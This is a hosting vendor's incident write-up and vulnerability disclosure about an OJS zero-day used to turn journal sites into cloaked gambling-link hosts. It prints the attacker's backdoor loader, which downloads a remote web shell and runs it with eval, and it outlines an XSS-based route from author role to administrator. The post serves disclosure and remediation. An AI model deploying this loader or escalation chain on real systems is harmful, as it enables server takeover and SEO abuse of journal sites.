This is also disclosed as a public security vulnerability on CVE : https://www.cve.org/CVERecord?id=CVE-2024-50965 as reported by our team openjournaltheme.com team.
On another case for OJS 3.3 and 3.4 we also have another article for the vulnerability user-xml-fatal-vulnerabilities cve-2024-56525

Background 

As the trend of gambling sites (judol – judi online, betting site, online gambling) emerge, so this kind of site relies on the backlink to their site. By utilizing the backlink from reputable sites, the site will benefit from higher ranking and credibility by Search Engine. 

In our hosting infrastructure, we have been trusted by hundreds of clients globally and have providing support to numerous reputable OJS client that have high indexing in Scopus and WOS. 

One of our customers informed us that their OJS become slow and in the early morning we also get notification from Google Search Console that there is a new sitemap modification to the account of the user. 

After investigating the server through the analysis of the various log in our server we found that the root cause of this penetration server is caused by the OJS. Unfortulantely, this security issue categorized as Zero day vulnerability which mean that it is unknown by PKP itself until we have reported it to them. 

At the time we discovered the issue, we were trying to find is there any public disclosure by PKP regarding their software OJS as we found out that our client has use that OJS version is that claimed by the PKP that  have no security issue : https://pkp.sfu.ca/software/ojs/download/archive/

If you are using the version below 3.3.0.13, you also need to read this article :
https://openjournaltheme.com/critical-vulnerabilities-on-ojs-3-2-3-3-version3/

The worst part of this vulnerability allow hacker to take control of the server, add cloaked gambling site to the OJS that is seem unaware by the user of OJS but will be used by the search engine. This vulnerability will turn your domain without user aware to a gambling site.

Supercharge Your OJS with Our Managed Hosting & Expert Support
Maximize your Open Journal Systems (OJS) performance with our optimized hosting or Support Service. We handle the tech—ensuring speed, security, and reliability—while our team assists with setup, customization, and troubleshooting.

Focus on your research and publishing. Let us power your OJS platform.

How we found the vulnerabilities

Althought the version that is used by the client did not have known security issue as claimed by PKP, we still curious about the root cause. 

We always focus on finding the root cause of server penetration rather than directly fixing the issue. This action is the most important thing to be done because although you finish fixing the issue in the first place from the hacked activity without knowing the root cause of how they can gain access to your system, note my word that the hacker will be back in a short time. 

After doing more a more analysis of the various logs in the server including auth.log and more log we found the interesting part in the log : 

Our team intensively eager to known based on that log 

The file integrity monitoring that we have in our server also report this new file : 

{
  "user": "www-data",
  "group": "www-data",
  "rights": "0644",
  "path": "/var/www/ojs_files/temp/txtGdewbY",
  "malware_name": "{SA-MD5}PHP.Backdoor.rmlJZ9",
  "size": 684842,
  "created": "2024-06-26 06:02:22",
  "signatureId": "6555afe6e8e22b95830ac20d"
}

Later after we checking the new file in linux using this command :

find /path/to/dir1 /path/to/dir2 -type f -print0 | xargs -0 ls -lt | head -n 100

We found that there is a suspicious new file :
– as.php
– img.png (image to show the evidence of successful hack result by the hacker)

The as.php file actually a new file that is uploaded by hackers as a plugin in the OJS.  After the file was uploaded, the hacker now can access directly the file using direct path in the browser, using this URL as example :

yourdomain.com/plugins/generic/anjayhengker/locale/as.php

After we reviewed the source code of as.php file we found that the file is used for accessing the server through SSH by using the Netcat access. So the hacker can connect to the server using command execution even previously the server is already configured and can only be accessed using console by using the VPN.

Content of the file as.php

if (is_logged_in()) {
    $a = geturlsinfo('https://raw.githubusercontent.com/nicxlau/alfa-shell/master/alfa-obfuscated.php');
    eval('?>' . $a);
    }

The above code retrieves content from the specified URL, which contains source code (exploit). Once the content is successfully obtained, it is immediately executed using the eval function.

Note that the hacker have the capability as the administrator in OJS so he can upload the file. This is the real cause that need us to convey. 

The only clue that we have is the access_log in the web server. 

How Hacker can escalate its roles as administrator :

The file change or creation that we have created in our hosting service (we call it OJT Guardian)  is very useful for us as it provides a first track of the file created by the hacker : 

As we aware that the file was uploaded in 30 Jun 2024, that is our first finger print information about this digital forensic activity .

By analyzing the Jun 30 log, we found very suspicious activity

Here is the log 

See the IP from that is 123.231.236.242 on 02:35:59

That is our first clue 🥁

By scrolling to the upper side of the log, we found that the fact that user actually has credential to log in to the site but in this case, the hacker does not have a role as administrator :

After more investigation, the hacker has successfully obtained access as the journal manager. As you can see on the above log, the user can log in with the correct credentials and access the index page in the back-end of OJS. 

I just want to let you know that, no attempt of password guessing here or bruteforce attack. The hacker flawlessly logs in with the correct credentials to the OJS as a legitimated user in the system.

Let’s observe this log, on 02:24:19 the JM roles smoothly change its roles without any illegal or suspicious attempt. It just doing regular activity based on the log and after that, this actor uploads a new plugin to benefit of his role as administrator of OJS. 

Even as a simply as Author roles can exploit this vulnerability.

After digging to more of the OJS native source code, we found that even as an author, that role can escalate his role to become as administrator. 

Using a combination of CVE-2024-25434,  2024-25436, CVE-2024-25438, and our newly found Zero-day CVE, the author can add an XSS code to the affiliation data and submit a fake / dummy article.

When the editor click the submission, without the awareness of the editor / other upper level, the author will turn himself to become an administrator on that journal. 

This is possible because of this code : 
/lib/pkp/controllers/grid/settings/user/form/UserForm.inc.php

In this line of code :
$userGroupDao->assignUserToGroup($this->userId, $userGroupId);

Then author attach an XSS script in the description field in their profile edit : 

lib/pkp/controllers/grid/users/author/form/PKPAuthorForm.inc.php In the function execute

$author->setPreferredPublicName($this->getData('preferredPublicName'), null);

This kind of issue is unknown by the PKP, so later in this section, we have reported this as a form of our contribution to OJS community. Please take a look at the security vulnerability that is unknown by the developer, it is called Zero Day vulnerability.

Meet the Zero day vulnerabilities 

A zero-day vulnerability refers to a security flaw in software or hardware that is unknown to the party responsible for patching or fixing the issue. Because it is unknown, there is no existing patch or fix at the time it is discovered. The term “zero-day” comes from the fact that the vulnerability is discovered by attackers before or on the same day that the developers become aware of it, giving them “zero days” to address the problem.

Impact of the hacked OJS/OMP/OPS

Why an urgent action needed for any issue that is related to OJS/OMP? 

As OJS is use for scientific publication of journal, the hacker can abuse this site to do this following activities :

1. Add illegal blacklink to porn or gambling site by using cloaked technique 
2. Remove your site from the Google Scholar and other reputable indexing because your domain now is a host of gambling site. 
3. Slower because the hacker can add cryptocurrency or software keylogger to your OJS server and OJS app 
4. Hacker can steal any user username and password and use it else where that will threaten the privacy of the user in your OJS/OMP. 

See this below image as the hacker use the sitemap to claim the site ownership to him.

After the hacker claim the ownership of the domain in the Google Search console, the hacker will add sitemap that will illegally promote the gambling site to the Google Search Engine

If you think that your journal is currently safe …. wait…

Did you know the worst part of this hacker activity?

The human visitor won’t see the cloaked backlink as the browser only processes visual code to be presented to its user, but it benefits the search engine as the search engine will compile all the code on the page including some information that is based on the code displayed as none. For example on the above search result from Google, the page has been injected with a clocked gambling site.

So after the hacker introduces a new sitemap to google the network of search engines will also update their link database that is acknowledged to exist (by using that sitemap) so not only Google, Bing, Yandex, Baiduu and other search engines will recognize now that the journal site becomes a partner for a gambling site.

The journal manager or editor isn’t aware that the site already getting hacked. As they are aware that there is a strange issue with their site it may become too late and it has a big probability of getting blocked by Google Scholar forever!

Cloaked site in the OJS based site that can only be shown when the view-source of the page is activated.

Optimize Your OJS with Ease
Choose our managed hosting or support service for a faster, more secure OJS experience. With dedicated OJS team experts on hand, we’ll help you set up, customize, and troubleshoot your platform—so you can focus on publishing.
Simplify your workflow and elevate your OJS performance today.
Let’s get started!

Reporting the Zero Day vulnerabilities to PKP

As soon as our expert team positively confirmed the cause of this issue by the vulnerable code (Zero-day vulnerability) in OJS/OMP/OPS and it is unknown by PKP, we contacted the PKP team (Alec) through email and informed them about the issue. We appreciate the fast response from the PKP team for fixing the problem by replying to our report and later releasing a new OJS version that fixes that critical issue.

Informing the threat internally to all of our customers

We have patched as soon as we recognized this vulnerability to all of our hosting and clients that use our support package without the need to inform them about this vulnerability. So they get the latest patch from our internal team as a priority.

To make this critical vulnerability private, we broadcast this information to the valuable customer client only as soon as we found this vital issue (in July 2024). This is to consider that in the past we have informed such urgent security issues to all our subscriber users, but without our consent, one of our receivers forwarded the sensitive information to the forum or sent this sensitive information to PKP and later we got a warning from PKP about those. 

After that, we learned our lesson to keep this private while waiting for the time range as requested by PKP to disclose the finding.

After considering our decision, we sent an urgent message to our customer internally in July and of course, patched on early to all our hosting client and clients that hire us to provide them with exclusive support.

Here is our message to all of our customer

If you have received this message and gently reply those message, we will consider that later we will keep inform you about an urgent information in the future. 

We were happy that our communication with our client is reacted and valued with kind reply 🙂

How to fix this newly 3.3.x and 3.4.x security issue ? 

After we have check we can mention that this issue arise with combination of CVE. 

So our best advice for you for this is : upgrade your OJS to the latest version of 3.3 or 3.4. 

Although we still not recommend to upgrading your OJS to the 3.4 version tier as we have explained in this article :
https://openjournaltheme.com/ojs-3-4-whats-new-and-should-you-upgrade-now/

Upgrading to 3.3 latest version would be the safest decision

The safest versions currently that fix these issues is (minimal) 3.3.0.18 and 3.4.0.6 as both of these versions fix those CVE as we have reported. 

If you don’t have resource the upgrade your OJS, you can also patch your OJS with our instructions that can be retrieved on the above message. 

Questions:

1. Our PKP Platform is using 3.1 or 3.2 is this security issue affected? Yes, in fact, you may even affected by multiple security issues other than this as we have explained here URGENT OJS 3.X Security Issue!
2. Should I upgrade to 3.4 or use 3.3.x latest version ? We recommend using 3.3 latest version as it is Long Term Support (LTS) version.

Muhammad Hendra

Project Manager

Hendra here, I love writing about OJS and share knowledge about OJS. My passion is about OJS, OMP platform and doing some research on creating innovated products for that platform to help publisher to improve their publication.